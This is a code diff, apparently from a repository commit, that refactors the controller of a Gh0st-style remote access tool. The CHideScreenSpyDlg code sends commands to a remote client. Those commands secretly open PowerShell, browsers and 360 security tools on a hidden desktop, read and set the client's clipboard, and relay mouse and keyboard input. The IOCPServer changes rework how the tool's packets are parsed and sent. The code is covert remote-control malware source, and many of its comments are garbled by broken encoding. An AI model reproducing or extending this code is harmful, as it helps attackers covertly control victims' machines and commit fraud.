if(m_ProgressCtrl) delete m_ProgressCtrl;
|
||||
|
||||
@@ -37,16 +37,13 @@ enum {
|
||||
|
||||
IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog)
|
||||
|
||||
CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
|
||||
: DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, 0)
|
||||
CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
|
||||
: DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP)
|
||||
{
|
||||
m_iocpServer = pIOCPServer;
|
||||
m_ContextObject = pContext;
|
||||
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息
|
||||
m_BitmapData_Full = NULL;
|
||||
m_lpvRectBits = NULL;
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SCREENSYP));
|
||||
m_IPAddress = m_ContextObject->GetPeerName().c_str();
|
||||
|
||||
UINT nBISize = m_ContextObject->GetBufferLength() - 1;
|
||||
m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[nBISize];
|
||||
m_lpbmi_rect = (BITMAPINFO*) new BYTE[nBISize];
|
||||
@@ -60,7 +57,7 @@ CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, ISocketBase* pIOCPServer, Cl
|
||||
|
||||
CHideScreenSpyDlg::~CHideScreenSpyDlg() {
|
||||
m_bIsClosed = TRUE;
|
||||
m_iocpServer->Disconnect(m_ContextObject);
|
||||
m_ContextObject->GetServer()->Disconnect(m_ContextObject);
|
||||
DestroyIcon(m_hIcon);
|
||||
Sleep(200);
|
||||
if (!m_aviFile.IsEmpty()) {
|
||||
@@ -97,7 +94,12 @@ END_MESSAGE_MAP()
|
||||
// CHideScreenSpyDlg message handlers
|
||||
void CHideScreenSpyDlg::OnClose()
|
||||
{
|
||||
m_ContextObject->CancelIO();
|
||||
CancelIO();
|
||||
// 等待数据处理完毕
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
CDialogBase::OnClose();
|
||||
}
|
||||
@@ -245,7 +247,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
|
||||
m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.bottom - m_CRect.top));
|
||||
SetStretchBltMode(m_hFullDC, STRETCH_HALFTONE);
|
||||
BYTE bBuff = COMMAND_NEXT;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||
m_ContextObject->Send2Client(&bBuff, 1);
|
||||
#ifdef _DEBUG
|
||||
// ShowWindow(SW_MINIMIZE);
|
||||
#endif
|
||||
@@ -445,7 +447,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
return;
|
||||
case IDM_SET_FLUSH: {
|
||||
BYTE bToken = COMMAND_FLUSH_HIDE;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_CONTROL: {
|
||||
@@ -496,7 +498,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
break;
|
||||
case IDM_GET_CLIPBOARD: { // 获取剪贴板
|
||||
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_SET_CLIPBOARD: { // 设置剪贴板
|
||||
@@ -505,24 +507,24 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
break;
|
||||
case IDM_SETSCERRN: {
|
||||
BYTE bToken = COMMAND_SCREEN_SETSCREEN_HIDE;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_QUALITY60: { // 清晰度60
|
||||
BYTE bToken = COMMAND_COMMAND_SCREENUALITY60_HIDE;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY60, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_QUALITY85: { // 清晰度85
|
||||
BYTE bToken = COMMAND_COMMAND_SCREENUALITY85_HIDE;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY85, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_QUALITY100: { // 清晰度100
|
||||
BYTE bToken = COMMAND_COMMAND_SCREENUALITY100_HIDE;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY100, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
@@ -541,84 +543,84 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Explorer;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_run: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_run;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Powershell: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Powershell;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Chrome: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Chrome;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Edge: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Edge;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Brave: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Brave;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Firefox: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Firefox;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Iexplore: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Iexplore;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_ADD_1: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_ADD_1;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_ADD_2: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_ADD_2;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_ADD_3: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_ADD_3;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_ADD_4: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_ADD_4;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_zdy: {
|
||||
@@ -633,7 +635,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
lpPacket[0] = COMMAND_HIDE_USER;
|
||||
lpPacket[1] = IDM_OPEN_zdy;
|
||||
memcpy(lpPacket + 2, dlg.m_str.GetBuffer(0), nPacketLength - 2);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
delete[] lpPacket;
|
||||
|
||||
}
|
||||
@@ -659,7 +661,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
lpPacket[0] = COMMAND_HIDE_USER;
|
||||
lpPacket[1] = IDM_OPEN_zdy2;
|
||||
memcpy(lpPacket + 2, &m_ZdyCmd, nPacketLength - 2);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
delete[] lpPacket;
|
||||
}
|
||||
EnableWindow(TRUE);
|
||||
@@ -669,27 +671,27 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_360JS;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360AQ: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_360AQ;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_360AQ2: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_360AQ2;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, 2);
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_close: {
|
||||
LPBYTE lpPacket = new BYTE;
|
||||
lpPacket[0] = COMMAND_HIDE_CLEAR;
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, 1);
|
||||
m_ContextObject->Send2Client(lpPacket, 1);
|
||||
delete lpPacket;
|
||||
}
|
||||
break;
|
||||
@@ -775,7 +777,7 @@ void CHideScreenSpyDlg::SendCommand(const MYMSG& pMsg)
|
||||
LPBYTE lpData = new BYTE[sizeof(MYMSG) + 1];
|
||||
lpData[0] = COMMAND_SCREEN_CONTROL;
|
||||
memcpy(lpData + 1, &pMsg, sizeof(MYMSG));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpData, sizeof(MYMSG) + 1);
|
||||
m_ContextObject->Send2Client(lpData, sizeof(MYMSG) + 1);
|
||||
|
||||
SAFE_DELETE_ARRAY(lpData);
|
||||
}
|
||||
@@ -814,7 +816,7 @@ void CHideScreenSpyDlg::SendServerClipboard()
|
||||
memcpy(lpData + 1, lpstr, nPacketLen - 1);
|
||||
::GlobalUnlock(hglb);
|
||||
::CloseClipboard();
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpData, nPacketLen);
|
||||
m_ContextObject->Send2Client(lpData, nPacketLen);
|
||||
delete[] lpData;
|
||||
}
|
||||
|
||||
|
||||
@@ -29,12 +29,12 @@ class CHideScreenSpyDlg : public DialogBase {
|
||||
enum { IDD = IDD_SCREEN };
|
||||
|
||||
public:
|
||||
CHideScreenSpyDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
CHideScreenSpyDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
virtual ~CHideScreenSpyDlg();
|
||||
|
||||
VOID SendNext(void) {
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||
m_ContextObject->Send2Client(&bToken, 1);
|
||||
}
|
||||
void OnReceiveComplete();
|
||||
BOOL ParseFrame(void);
|
||||
|
||||
@@ -5,35 +5,6 @@
|
||||
#include <iostream>
|
||||
#include <ws2tcpip.h>
|
||||
|
||||
// ZLIB ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||
#include "zlib/zlib.h"
|
||||
|
||||
#if USING_LZ4
|
||||
#include "lz4/lz4.h"
|
||||
#pragma comment(lib, "lz4/lz4.lib")
|
||||
#define C_FAILED(p) (0 == (p))
|
||||
#define C_SUCCESS(p) (!C_FAILED(p))
|
||||
#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
|
||||
#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
|
||||
#else // ZSTD
|
||||
#include "zstd/zstd.h"
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib, "zstd/zstd_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib, "zstd/zstd.lib")
|
||||
#endif
|
||||
#define C_FAILED(p) ZSTD_isError(p)
|
||||
#define C_SUCCESS(p) (!C_FAILED(p))
|
||||
#define ZSTD_CLEVEL 5
|
||||
#if USING_CTX
|
||||
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
|
||||
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
|
||||
#else
|
||||
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
||||
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> socket <20><>ȡ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>IP<49><50>ַ.
|
||||
std::string GetPeerName(SOCKET sock) {
|
||||
sockaddr_in ClientAddr = {};
|
||||
@@ -178,6 +149,7 @@ IOCPServer::~IOCPServer(void)
|
||||
// <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ.
|
||||
UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
|
||||
{
|
||||
m_nPort = uPort;
|
||||
m_NotifyProc = NotifyProc;
|
||||
m_OfflineProc = OffProc;
|
||||
m_hKillEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
|
||||
@@ -306,7 +278,6 @@ BOOL IOCPServer::InitializeIOCP(VOID)
|
||||
m_ulThreadPoolMax = SystemInfo.dwNumberOfProcessors * 2;
|
||||
m_ulCPULowThreadsHold = 10;
|
||||
m_ulCPUHighThreadsHold = 75;
|
||||
m_cpu.Init();
|
||||
|
||||
ULONG ulWorkThreadCount = m_ulThreadPoolMax;
|
||||
|
||||
@@ -476,13 +447,13 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTr
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
|
||||
{
|
||||
// May be this function should be a member of `CONTEXT_OBJECT`.
|
||||
BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc) {
|
||||
BOOL ret = 1;
|
||||
try
|
||||
{
|
||||
if (dwTrans == 0) //<2F>Է<EFBFBD><D4B7>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
{
|
||||
RemoveStaleContext(ContextObject);
|
||||
return FALSE;
|
||||
}
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>յ<EFBFBD><D5B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>wsabuff 8192
|
||||
@@ -506,7 +477,8 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
ULONG ulOriginalLength = 0;
|
||||
PBYTE CompressedBuffer = ContextObject->ReadBuffer(ulCompressedLength, ulOriginalLength);
|
||||
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
|
||||
m_NotifyProc(ContextObject);
|
||||
if (m_NotifyProc(ContextObject))
|
||||
ret = CompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -527,7 +499,8 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
ContextObject->Decode(CompressedBuffer, ulOriginalLength);
|
||||
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulOriginalLength);
|
||||
m_NotifyProc(ContextObject);
|
||||
if (m_NotifyProc(ContextObject))
|
||||
ret = CompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
|
||||
SAFE_DELETE_ARRAY(CompressedBuffer);
|
||||
continue;
|
||||
}
|
||||
@@ -541,7 +514,8 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
|
||||
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
|
||||
m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
|
||||
if (m_NotifyProc(ContextObject))
|
||||
ret = DeCompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
|
||||
}else if (usingZstd){
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>zlib<69><62>ѹ<EFBFBD><D1B9>
|
||||
if (Z_OK == uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength)) {
|
||||
@@ -549,7 +523,8 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
|
||||
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
|
||||
m_NotifyProc(ContextObject);
|
||||
if (m_NotifyProc(ContextObject))
|
||||
ret = DeCompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
|
||||
} else {
|
||||
zlibFailed = true;
|
||||
ContextObject->CompressMethod = COMPRESS_UNKNOWN;
|
||||
@@ -573,19 +548,30 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
ContextObject->InCompressedBuffer.ClearBuffer();
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
|
||||
{
|
||||
if (FALSE == ParseReceivedData(ContextObject, dwTrans, m_NotifyProc)) {
|
||||
RemoveStaleContext(ContextObject);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PostRecv(ContextObject); //Ͷ<><CDB6><EFBFBD>µĽ<C2B5><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength)
|
||||
{
|
||||
assert (ContextObject);
|
||||
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) {
|
||||
assert(ContextObject);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL && szBuffer[0] != CMD_HEARTBEAT_ACK) {
|
||||
unsigned cmd = szBuffer[0];
|
||||
if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK &&
|
||||
cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) {
|
||||
char buf[100] = { 0 };
|
||||
if (ulOriginalLength == 1){
|
||||
sprintf_s(buf, "command %d", int(szBuffer[0]));
|
||||
sprintf_s(buf, "command %d", cmd);
|
||||
}
|
||||
else {
|
||||
memcpy(buf, szBuffer, ulOriginalLength);
|
||||
@@ -596,10 +582,10 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
||||
{
|
||||
do
|
||||
{
|
||||
if (ulOriginalLength <= 0) return;
|
||||
if (ulOriginalLength <= 0) return FALSE;
|
||||
if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) {
|
||||
Mprintf("[ERROR] UNKNOWN compress method \n");
|
||||
return;
|
||||
return FALSE;
|
||||
}
|
||||
else if (ContextObject->CompressMethod == COMPRESS_NONE) {
|
||||
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
|
||||
@@ -625,7 +611,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
||||
{
|
||||
Mprintf("[ERROR] compress failed \n");
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
return;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ulCompressedLength = usingZstd ? iRet : ulCompressedLength;
|
||||
@@ -634,6 +620,17 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
}while (false);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
catch (...) {
|
||||
Mprintf("[ERROR] OnClientPreSending catch an error \n");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength)
|
||||
{
|
||||
if (WriteContextData(ContextObject, szBuffer, ulOriginalLength)){
|
||||
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
|
||||
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol);
|
||||
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
|
||||
@@ -643,8 +640,6 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
||||
RemoveStaleContext(ContextObject);
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
}
|
||||
}catch(...){
|
||||
Mprintf("[ERROR] OnClientPreSending catch an error \n");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -838,7 +833,7 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext(SOCKET s)
|
||||
|
||||
if (ContextObject != NULL)
|
||||
{
|
||||
ContextObject->InitMember(s);
|
||||
ContextObject->InitMember(s, this);
|
||||
}
|
||||
|
||||
return ContextObject;
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user